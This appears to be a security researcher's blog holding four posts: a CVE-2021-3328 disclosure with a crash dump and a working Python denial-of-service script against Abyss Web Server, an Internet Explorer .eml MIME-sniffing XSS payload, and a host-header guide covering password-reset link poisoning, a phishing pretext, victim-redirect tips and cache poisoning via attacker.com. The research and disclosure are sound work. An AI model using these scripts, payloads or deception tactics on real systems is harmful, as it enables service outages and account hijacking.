CVE-2021-3328 – Abyss Web Server – Remote DoS

Hello,

recently I spent some time working on my HTTP fuzzer. Running it against affected version of Abyss Web Server it was possible to cause Denial of Service attack (the application crashed). Based on my analysis the bug is not exploitable.

Crash:

Crash details:

(4768.5728): Access violation – code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

*** ERROR: Module load completed but symbols could not be loaded for C:\Abyss Web Server\abyssws.exe

abyssws+0x807db:

00000000`004807db 8a4601          mov     al,byte ptr [rsi+1] ds:00000000`0489b000=??

0:016> r

rax=0000000000000000 rbx=00000000076b3818 rcx=00000000053bfba0

rdx=0000000004899da8 rsi=000000000489afff rdi=0000000004899d38

rip=00000000004807db rsp=00000000053bfb00 rbp=0000000000000000

r8=0000000004899a08  r9=0000000000000000 r10=00000000004dbb72

r11=0000000004899d22 r12=00000000053bfba0 r13=00000000076b37c8

r14=0000000000000000 r15=0000000005db1f18

iopl=0         nv up ei ng nz ac pe cy

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293

abyssws+0x807db:

00000000`004807db 8a4601          mov     al,byte ptr [rsi+1] ds:00000000`0489b000=??

(ugly and dirty) PoC:

from threading import Thread

import requests

import socket

def cause_dos():

    for x in range(0,500):

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((“192.168.65.128” , 80))  

        pingdata = “””GET /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// HTTP/1.1\r

Accept: text/plain\r

Connection: Close\r

If-Modified-Since: ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\r

Host: 192.168.65.128\r\n\r\n”””

        data = pingdata.encode()

        s.sendall(data)    

# Start all threads.

threads = []

for n in range(1,3):

    t = Thread(target=cause_dos)

    t.start()

    threads.append(t)

# Wait all threads to finish.

for t in threads:

    t.join()

The problem is located in code which is responsible for parsing “If-Modified-Since” header.

Vendor was informed about this bug and we agreed not to release technical details before oficial patch is out. Props to Abyss security team for handling this report with care.

[0day] Text/Plain Considered Harmful

Hello reader!

It is time for another blogpost! This time it is about a bug I found and I believe it could be quite useful for you someday. It is worth mentioning it affects all versions of IE (tested on win 7, win 8.1 and win 10). It does not affect Edge.

Ok what is the bug about?

When server sends back response there are several headers included. One of them is content type. This header tells browser what media type is being returned. MDN has detailed description with examples. The thing which happens quite often when we do pentesting is that we encounter some pages which lack input validation and output encoding. This means we found XSS right? Well not really.. Because Content-Type returned says “text/plan”.  This is where the fun ends, because according to these RFC, RFC and this draft, as soon as Content-Type is returned with value text/plain then agent (browser in this case) should jump into binary processing mode. There is no fun in binary mode because it is not scriptable. Let’s illustrate it with an example. Let’s have this file called plain.php:

<?php
header("Content-Type: text/plain");
echo "Hello: ".$_GET["name"];
?>

As you can see it is super easy example which just takes one parameter. It could be used as playground for xss vulnerabilities, right? Not really! There is first line which says server should return Content-Type header with value “text/plain”. Lets check whether we can inject some harmless HTML.

As expected, we can inject whatever we want, but browser will not render/execute it. Reason is obvious, response is of a type text/plain.

The bug

I found out if you open .eml file IE will perform mime sniffing and if HTML/JS is recognized in the response it will be rendered/executed. First of all what is EML? It is “Microsoft Outlook Express mail message”. This format allows email messages to be saved into file (for example for purpose of archivation). I will not dig deep into this format, if you wanna know more, just check this RFC. This is example of .eml file which you can use for testing:

root@kali:/var/www/html# cat testeml_1.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

=3Chtml=3Ethis=20is=20test=3C=2Fhtml=3E

 

You can save content of this file on your web server and access it with IE (please mind two new lines at the end of the file!). You will see it is rendered properly. BTW pay attention to “Content-Transfer-Encoding: quoted-printable” – to make it short it is similar to URL encoding except it uses equal sign instead of percentage.

Does not work for you? Haha that is because wrong Content-Type 😉 Correct Content-Type for .eml is “message/rfc822”. You can use following .htaccess file:

root@kali:/var/www/html# cat .htaccess
AddType message/rfc822 .eml

Screenshot below shows testeml_1.eml returned with correct Content-Type.

Finally give us the bug!

Ok, Ok, from here it is pretty easy to achieve execution of text/plain responses. Let’s use files from previous examples. The file we are attacking is still plain.php. For attacking purpose we will modify testeml_1.eml. The payload:

<iframe src=’plain.php?name=<HTML><h1>it works</h1>’></iframe>

Which looks like this after encoding:

=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E

This is how the final file looks like:

root@kali:/var/www/html# cat testeml_1.eml
TESTEML
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

=3Ciframe=20src=3D=27plain.php=3Fname=3D=3CHTML=3E=3Ch1=3Eit=20works=3C=2Fh1=3E=27=3E=3C=2Fiframe=3E

And this is the result of accessing it in IE:

You see? Exploitation is sucessful! Although we are framing file with content-type “text/plain” we force IE to perform mime sniffing (that is why <HTML> should be presented in the request/response) and render our payload.

Defense?

Best defense is to prevent framing, if you edit the sample file and add header(‘X-Frame-Options: DENY’); exploit will fail.

I would like to warn about following: setting header(‘X-Content-Type-Options: nosniff’); will NOT prevent this attack (good move IE, why would you follow RFC, right?). This cannot be reproduced anymore.

Conclusion

I believe conclusion is very important in this case – follow defense in depth principle! Yes it does not only apply to infrastructure but also web applications. What defense in depth means? It basically says you should not rely only on one layer of protection but rather apply as many layers as possible. For example when you are securing your windows server you don’t just install AV and call it a day. You make sure all patches are applied, proper rules are applied through local policies (or domain), default accounts and disabled, etc.

You should take the same approach when securing your web application. Do not only rely on one layer of protection (in this case broken promise that text/plain is not executable) but rather also implement proper input validation and output encoding. Following this approach will minimalize the chance that your whole application will be exposed to major risk in case one layer of protection breaks.

Thank you for reading this post!

Jan

[Not so common flaws] – Arbitrary host header

Hello everyone,

I was thinking about what should be my first blog post about. Then I decided that it would be cool to have some articles about not so common vulnerabilities in web application. Everyone knows about SQL injection or XSS . Instead of trying to describe something what has been described 10000 times already I decided to write about not so common flaws.

First of all what a host header is? This header can usually be found in HTTP request, it’s main purpose is: “The Host request-header field specifies the Internet host and port number of the resource being requested, as obtained from the original URI given by the user or referring resource” RFC2616 says.

Where is the risk?

The risk comes from simple truth – many sites use value provided in this field and use it later without proper input validation. In many cases this might not have any significant impact but there are other places in the application where accepting arbitrary host header can have pretty bad consequences.

How do I test for this?

Easily. You either purchase that awesome tool BurpSuite Pro and install extension called “Active Scan++” or you can do it old school way with NetCat. For NC testing you can just use this:

NC -vv goodguy.com 80

After connection is established you just write:

GET / HTTP/1.1
Host: goodguy.com

Normal response should be received because this is all fine. However connect with netcat and submit following:

GET / HTTP/1.1
Host: badguy.com

Was the response same as in previous example? If yes you might just found arbitrary host header vulnerability. Why is this bad? Well because application obviously returned content although we specified invalid/incorrect Host header.

Ok, but how can I exploit this?

It really depends on the application logic. If the application does not use this value then there is no risk. Thankfully there is one particular place where this issue can be deadly – password reset functionality. It happens a lot when you are resetting forgotten password, application creates link dynamically and use host header provided in request. This happens very often in case of cms developed for masses. It is convenient for developers just to use this header because they don’t have to hardcode anything. But they forget that everything coming from user can be changed/spoofed/edit so it cannot be trusted (remember this very carefully, it is golden rule in IT security world)!

Some examples:

Yes, these examples show how to use Host header attack to do XSS. I promised you some password-reset-link-poisoning so here it comes 🙂

Recently we (by we I mean my pentesting company https://captes.cz) did a pentest for one of our customers. The application had pretty limited functionality so after quick recon we weren’t really hoping for any high/critical findings. But then we stumbled upon password reset functionality. We quickly validated host header poisoning is possible and aimed for exploitation. It was the case where the application took host value from request header and used it a bit later when putting together password reset link. How did the exploitation go? We just requested page ourcustomer.com/resetpassword.php, there we filled in our email address and clicked on “Password reset button”. Our BurpPro was listening so we captured the request which looked like this:

GET /auth/reset_password?email=pentest@ourcutomer.com
Host: ourcustomer.com
Cookie: ...

Then we checked mailbox provided by our client – we indeed received password reset email which contained typical sentence:

“Here is your password reset LINK” – LINK was hyperlink pointing to ourcutomer.com/auth/reset_password/32493jrfie78434hud20d230942u3d

In this case all is fine and non-malicious at all. If you click this link you will land at our customer web page and you will be prompted for new password. After verifying desired functionality we finally tried attacking the application. We sent request which was very similar to  original one, expect one difference:

GET /auth/reset_password?email=pentest@ourcutomer.com
Host: captes.cz
Cookie: ...

Yes you guessed it! We used our own host header. Do you have any idea what happen next? Again we received password reset email, but this time if you looked at the LINK it was pointing to:

Sorry the email is in Czech but is says: “Anyone asked for new password?” then some usual phrases and finally link pointing to https://captes.cz/auth/reset_password/2398n4c324mx032948nv2309n4x20m

This is awesome, isn’t it? We can send email to arbitrary user of the application and make sure his password reset link will be poisoned. As soon as victim clicks the link his token appears in our logs – that’s it – game over for victim, we can hijack the account.

Here are some thoughts to increase a chances of this attack being successful:

  • A user is most probably not gonna click the link because he did not ask for password reset. Well there comes social engineering to rescue! You can be creative and come up with your own reason why he should click. Our first email to victim had following idea: “Dear client, unfortunately we have to inform you our systems have been breached and there is high chance password leaked as well. To deny attacker accessing your webpage with leaked password you have to reset your current password. Reset link will be sent to your email address in a few minutes”. Right after you send this email you can send the poisoned one. Of course better your social engineering email is higher are chances user clicks the link.
  • After user clicks password reset link and lands at your web page make sure you just don’t leave him there because he might get suspicious like “dude what is going on? I clicked on password reset link and ended up on completely different domain”. This would screw up your attack for sure. As soon as you have the access token just redirect user back where he should have landed originally.

So far we have covered two cases – XSS and password reset link poisoning. There is one more options I want to cover here. It it cache poisoning. To understand this issue it is important to understand how many devices/software look at your request along it’s way from browser to server (now I’m only speaking about layer 7). When your request is making it’s way across network there usually are proxies, WAFs, load balancers and of course the server itself. The problem here is inconsistency.  Let’s take example from past. There is one caching solution called Varnish, when Varnish receives HTTP request which looks like this:

GET /index.html HTTP/1.1
Host: attacker.com
Host: goodguy.com

guess which header it is gonna take as more significant? It is first header. What happens when this request arrives to ngix server? Well ngix prefers the last host header… you see where this is going? Imagine your company use Varnish as caching solution and you have colleague who likes pranks. What happens if your funny friend send the following request:

nc -nvv attacker.com
GET /index.html HTTP/1.1
Host: myfavouritewebpage.com
Host: attacker.com

Correct – this request leaves your company network and Varnish will cache the response as it was for myfavouritewebpage.com. Ngix on the other hand sees valid attacker.com and will return it’s context. This means your company’s Varnish cache will be poisoned in such a way that when someone writes myfavouritewebpae.com to his browser content of attacker.com is returned.

That is pretty much all folks. Just one more thing, references:

http://seclists.org/fulldisclosure/2008/Jun/169 – this is (at least to my knowledge) very first reported abuse of host header

http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html – very informative article about this topic

Hello world!

Hello everyone, it’s Jan. I have heard it is quite cool to have your own blog nowadays so I would like to start my own. As you might know I’m security specialist (mostly focusing on web app security, exploitation, RE, malware analysis and red teaming activity). I will try to blog about interesting vulnerabilities I have encountered during my testing.

I hope you like it. Feel free to follow me @rnmx123

Thank you,

Jan